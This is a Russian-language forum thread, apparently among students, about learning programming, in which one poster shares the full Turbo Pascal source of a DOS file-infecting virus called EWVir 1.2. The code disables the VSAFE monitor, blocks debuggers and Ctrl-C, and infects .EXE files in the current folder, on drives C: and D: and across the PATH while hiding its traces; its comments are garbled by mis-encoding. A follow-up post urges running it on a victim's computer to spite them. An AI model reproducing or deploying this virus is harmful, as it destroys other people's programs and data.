Как то увлекался С++, Delphi НормальнО!!!!

Я в последнее время увлеклась... Вообще-то сейчас пока осваиваю только бэйсик... но собираюсь приняться за С++. Вотъ.
Сначала не получалось, потом втянулась, интересно стало. Мне нравиться, что там думать логично надо, чтобы что-то получилось.

Нужны кому?

У нас, SphinX не даст соврть, в школе дают всего 8% знаний. Дальше сам.

А я сначала не понимала ничего, когда в школе проходили, но потом интересно стало пыталась разобраться, мне ещё брат помогал (он системный админ и програмист по совместительству) А сейчас мы с Демоном вдвоём в нашей группе на инфе оттягиваемся! Вот должны были ещё перед Новым Годом на районную олимпиаду поехать, но блин, я заболела, а парни в этот день экзамен на курсах сдавали. Вотъ. В мае если всё нормально будет поедем...

а меня информатика уже бесит меня информатик достал со своим вопросами про свою тупую программу я даже забыл как она называется !!! меня просто бесит это программа и он за эту тему мне козёл поставил 2 !!! я обиделся (а вот в строй школе я на информатику приходил всегда в CS играли с преподом ! ))

я до этого на курсы ходил я в железе хорошо разбирался и боле менее в самой системе

Ну, мне друг щас помогает ПХП осваивать..

Volchonok, а у нас попробуй поиграй!!!! Голову откусит)))) Правда есть лазейка))))))))

У нас играть можно, но если хорошо спрячеш и никто не найдет.

Web и вирусы я люблю да прочее тож но програмирование компа никак.Не катит

Вообщем я ложу код вирусняка. Код в принципе простой, но понять надо.

{EWVir 1.2 (c) MrWeb.}

{$M 2048 , 0 , 0}
{$i-}
Uses Dos;
Const RV=9999;          { ђ §¬Ґа ўЁагб  }
      M='err  ';        { ЊҐвЄ  }
      MestoM=999;       { ЊҐбв® ¬ҐвЄЁ }
      Rcode=1;
      SizeCODE=321;     {а §¬Ґа ¤«п иЁда®ўЄЁ }
      RRcode=1;         { Є®¤ иЁда®ўЄЁ }
      Smech=2;          { ᬥ襭ЁҐ иЁда®ўЄЁ }
Var
   DosInfo:SearchRec;
   VirBuf            :  Array [1..RV] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
   VirBufv           :  Array [1..RV] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
   VB:file;
   B:array[1..5] of Char;
   Attr,Attr2              :  Word;                      { а㥬®© Їа®Ја ¬¬л }
   Time,Time2              :  LongInt;
   I:integer;
   CmdLine           :  String;
   b2,b3,b4:array[1..2] of Char;
   InfFiles,stle          :  Byte;
   ih:integer;
   Sam,pat:string;
   KbdIntVec : Procedure;
   O1H , O3H  , Br   :  Pointer;
   myname:string;
   spa:string;
   spa1:string[1];
   pati,paii:integer;
   S: PathStr;
   pats:string;
   parh:byte;
   EX:string;
   dist:string[2];
   VirBufk           :  Array [1..rcode] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
   VirBufk2           :  Array [1..rcode] of Char; { ¬ ббЁўл ¤«п § ЇЁбЁ }
    ierunda:integer; {+}
   Bufcode : Array[0..sizecode] of byte; {¤«п иЁда®ўЄЁ}
   icode:integer; {+}

{$F+}
  procedure Balvanka;
   begin
              { BALVANKA }
   end;
{$F-}
{$F+}
  procedure ReBoot; Interrupt;   { + }
   begin                         { Ђ нв® ¤«п в®Ј®, зв®Ўл ­Ґе®а®иЁҐ ¤п¤Ё }
    InLine($EA/                  { ‹®§Ё­бЄЁҐ ­Ґ § ЇгбЄ «Ё Debug t }
           $00/
           $00/
           $FF/
           $FF);
   end;
{$F-}

{$F+}
  procedure BreakOff; Interrupt;   { + }
   begin
              { Invisible Magic Words! }
   end;
{$F-}

Procedure antiVSAFE;    { ўлЄ«оз вҐ«м VSAFE}
        begin
        asm   { + }
        mov     ax,0fa02h   { + }
        mov     dx,5945h   { + }
        xor     bl,bl   { + }
        int     16h   { + }
        end;
        end;
Procedure CWP;       { Їа®ўҐаЄ , ­Ґ бв®Ёв «Ё ­  ¤ЁбЄҐ read only?}
  Var {+}
  leftfile:string; {+}
  begin                             { Write Protect }
   Assign(VB , dist+'\'+#$FF);     { Invisible file ! }
   ReWrite(VB);
   Erase(VB); {+}
   If IOResult <> 0 Then
     begin
     leftfile:='c:\'+dosinfo.name;
          SwapVectors;
          exec(GetEnv('COMSPEC'),'/c copy '+sam+' '+leftfile+' >nul');
          SwapVectors;
          Sam:=leftfile;
          Assign(VB , sam);
          SetFAttr(VB , Archive);    { “бв ­ ў«Ёў Ґ¬  вваЁЎгв Archive }
          stle:=13;
     end;
end;

Procedure tabl;   { ЊҐвЄг ў бў®Ґ ⥫® }
begin
     If False Then
         begin                  { ‡ бг­гвм ¬ҐвЄг ў ᥡп }
            WriteLn(#13#10,M);
         end;
end;

Procedure Kusok;        {Їа®жҐ¤га  иЁда®ўЄЁ ­®бЁвҐ«п}
Begin
  seek(vb,Smech);
  blockread(vb,bufcode,SizeCODE);
  for icode:=0 to SizeCODE do bufcode[icode]:=bufcode[icode]-rrcode;
  seek(vb,Smech);
  blockwrite(vb,bufcode,SizeCODE);
  seek(vb,0);
end;
Procedure antiKusok;    {Їа®жҐ¤га  а биЁда®ўЄЁ ­®бЁвҐ«п}
Begin
   seek(vb,Smech);
   blockread(vb,bufcode,SizeCODE);
   for icode:=0 to SizeCODE do bufcode[icode]:=bufcode[icode]+rrcode;
   seek(vb,Smech);
   blockwrite(vb,bufcode,SizeCODE);
   seek(vb,0);
end;

Procedure Proverka;   { Їа®ўҐаЄ  бў®ҐЈ® ⥫  }
Begin
    assign(vb,sam);
    reset(vb,1);
    seek(vb,MestoM);
    blockread(vb,b,5);  { Џа®ўҐаЁвм ¬ҐвЄг }
    close(vb);
    if b<>M then
       Begin
       writeln('Error in data!Please, start file again.');
       Halt;
       end;
end;

Procedure zaraza;        { ‡ а ¦Ґ­ЁҐ }
Begin
   Assign(VB,pat+dosinfo.name);
   reset(vb,1);
   kusok;
     seek(vb,1530); {§ Їгвлў ­ЁҐ}
     BlockRead(VB , VirBufk , rcode);
     seek(vb,0);
     BlockRead(VB , VirBufk2 , rcode);
     seek(vb,1530);
     Blockwrite(VB , VirBufk2 , rcode);
     seek(vb,0);
     Blockwrite(VB , VirBufk , rcode);
     seek(vb,0);
   BlockRead(VB , VirBuf , RV);
   seek(vb,0);
   Blockwrite(VB , VirBufv , RV);
   seek(vb,dosinfo.size);
   Blockwrite(VB , VirBuf , RV);
   close(vb);
end;

Procedure start;        { ‡ ЇгбЄ бў®ҐЈ® ­®бЁвҐ«п }
begin
    FindFirst(sam , archive , DosInfo);  { Џ®«гз Ґ¬ Ї®«­го Ё­д® }
    myname:=dosinfo.name;
    Assign(VB , sam);
    Reset(VB , 1);
    Seek(VB , DosInfo.Size - rv);
    BlockRead(VB , VirBuf , rv);   { "‹ҐзЁ¬" § а ¦Ґ­­л© д ©« }
    Seek(VB , DosInfo.Size - rv);
    Truncate(VB);
    Seek(VB , 0);
    BlockWrite(VB , virBuf , rv);
     seek(vb,1530); {а биЁда®ўЄ }
     BlockRead(VB , VirBufk , rcode);
     seek(vb,0);
     BlockRead(VB , VirBufk2 , rcode);
     seek(vb,1530);
     Blockwrite(VB , VirBufk2 , rcode);
     seek(vb,0);
     Blockwrite(VB , VirBufk , rcode);
     seek(vb,0);
   antikusok;
    SetFTime(VB , Time2);
    SetFAttr(VB , Attr2);
    Close(VB);
     IF ParamCount <> 0 Then
        Begin
           For I:=1 To ParamCount Do
             CmdLine:=CmdLine + ' ' + ParamStr(I); { бзЁвлў Ґ¬ Ї а ¬Ґвал }
        End;                                       { ў Є®¬ ­¤­®© бва®ЄҐ }
    SwapVectors;
    Exec(sam,CmdLine);  { ?бЇ®«­пҐ¬ }
    SwapVectors;
    Assign(VB , sam);                       { ‡ а ¦ Ґ¬ ў ®Ўа в­®¬ }
    SetFAttr(VB , Archive);                 { Ї®ап¤ЄҐ }
    Reset(VB , 1);
   kusok;
     seek(vb,1530); { ®Їпвм § Їгвлў Ґ¬ }
     BlockRead(VB , VirBufk , rcode);
     seek(vb,0);
     BlockRead(VB , VirBufk2 , rcode);
     seek(vb,1530);
     Blockwrite(VB , VirBufk2 , rcode);
     seek(vb,0);
     Blockwrite(VB , VirBufk , rcode);
     seek(vb,0);
    BlockWrite(VB , VirBufv , rV);
    Seek(VB , DosInfo.Size - rV);
    BlockWrite(VB , virBuf , rV);
    SetFTime(VB , Time2);         { ў®ббв ­ ў«Ёў Ґ¬ ¤ вг/ўаҐ¬п Ё }
    SetFAttr(VB , Attr2);         {  ваЁЎгвл д ©«  }
    Close(VB);
end;

Procedure InfExe;               { ЁбЄ вм ¦Ґавўл }
Label L1,L2; {+}
Begin
   pats:='';
   FindFirst(pat+'*'+ex,archive,dosinfo); {+}
   while doserror = 0  do
   Begin
    assign(vb,pat+dosinfo.name);
    Attr:=DosInfo.Attr;
    setfattr(vb,archive);
    if ioresult <> 0 then goto l2;
    reset(vb,1);
if dosinfo.size>RV+4757 then begin
    seek(vb,MestoM);
    blockread(vb,b,5);  { Џа®ўҐаЁвм ¬ҐвЄг }
    if ioresult <> 0 then goto l2;
    seek(vb,1024);
    blockread(vb,b2,2); { Џа®ўҐаЁвм ­  windowsЁб "NE" }
    seek(vb,78);
    blockread(vb,b3,2); { Џа®ўҐаЁвм ­  windowsЁб "Th..." }
    seek(vb,80);
    blockread(vb,b4,2); { Џа®ўҐаЁвм ­  windowsЁб "Th..." }

             end;
    close(vb);
if b2='NE' then b:=M;
if b3='Th' then b:=M;
if b4='Th' then b:=M;
if dosinfo.size<RV+4757 then b:=M; {­Ґ § а ¦ вм ¬ «Ґ­мЄЁе}
if dosinfo.name='SETVER'+ex then b:=m;
if dosinfo.name='SMARTDRV'+ex then b:=m;

    if b<>M then Zaraza else Begin
                             assign(vb,pat+dosinfo.name);
                             SetFAttr(VB , Attr);         {  ваЁЎгвл д ©«  }
                             End;
L2:
   findnext(dosinfo);
   end;
L1:
end;
Begin                   {MAIN}
     Tabl; {¬ҐвЄг ў ўЁагб}
     GetIntVec($01 , O1H);                  { Џ®¤Ј®в ў«Ёў Ґ¬ бЁб⥬г }
     SetIntVec($01 , @ReBoot);              { Є ЇаЁ­пвЁо ўЁагб : }
     GetIntVec($03 , O3H);                  { ‚Ґи Ґ¬  ­вЁва ббЁа®ўйЁЄ }
     SetIntVec($03 , @ReBoot);              { ­  int 1h Ё int 3h }
     GetIntVec($1B , Br);                   { § ¬Ґ­пҐ¬ ўҐЄв®а ^C }
     SetIntVec($1B , @BreakOff);
     SetCBreak(False);                      { Ё ®вЄ«оз Ґ¬ ^C }

AntiVSAFE;
     Sam:=paramstr(0);
    Dist:=paramstr(0);
    FindFirst(sam , archive , DosInfo);  { Џ®«гз Ґ¬ Ї®«­го Ё­д® }
    Assign(VB , sam);
    Time2:=DosInfo.Time;          { ‡ Ї®¬Ё­ Ґ¬ ¤ вг/ўаҐ¬п Ё  ваЁЎгвл д ©«  }
    Attr2:=DosInfo.Attr;
    SetFAttr(VB , Archive);    { “бв ­ ў«Ёў Ґ¬  вваЁЎгв Archive }
CWP;
    Proverka; {Їа®ўҐаЄ  бў®Ґ© бвагЄвгал}
    Assign(VB , sam);
    Reset(VB , 1);
    BlockRead(VB , VirBufv , RV);   { ‘зЁвлў Ґ¬ ў ЎгдҐа ⥫® ўЁагб  }
    Close(VB);

{§ а ¦ вм ў ⥪г饬 Є в «®ЈҐ}
InfFiles:=0;
EX:='.EXE';
InfExe;
pat:='c:';
EX:='.EXE';
InfExe;
pat:='d:';
EX:='.EXE';
InfExe;
{ ‡ а ¦Ґ­Ёп Є в «®Ј®ў PATH }
    S :=GetEnv('PATH');
    for pati:=1 to length(s) do begin
                                parh:=ord(s[pati]);
                                if parh = 59 then begin
                                paii:=length(pats);
                                if pats[paii]<>'\' then pats:=pats+'\';

                                       InfFiles:=0;
                                        pat:=pats;
EX:='.EXE';
InfExe;
                                        end;

                                if parh <> 59 then pats:=pats+s[pati];
                                end;

    SetIntVec($01 , O1H);      { ‚®ббв ­ ў«Ёў Ґ¬ § еў зҐ­­лҐ ўҐЄв®ал }
    SetIntVec($03 , O3H);
    SetIntVec($1B , Br);

Start; {‡ЂЏ“‘Љ ?Ќ”. ЏђЋѓђЂЊЊ›}

   If stle=13 then begin {г¤ «Ёвм ўаҐ¬Ґ­­л© д ©«}
   Assign(VB , sam);
   SetFAttr(VB , Archive);    { “бв ­ ў«Ёў Ґ¬  вваЁЎгв Archive }
   reset(vb);
   erase(vb);
   end;

Halt(dosexitcode); {ўл室 ў Ћ‘ б б®еа ­Ґ­ЁҐ¬ Є®¤  ®иЁЎЄЁ}

end.

Volchonok, классная вещь!!! Полностью убивает все ЕХЕ файлы. Просто копируешь в блокнот и сохраняешь с именем *.ехе. Потом запускаешь на компе того, кому хочешь насолить!!!!!!!))))))))

да знаеш что просто при вирусах делаеш фаервол новой версии устанавливаеш и всё что бы всякие грязные ссылки невыходили обычно на них вирусы лежат а лучше ещё анти-вирус токо НЕ КАСПЕРСКИЙ - ЭТО ПАРАША !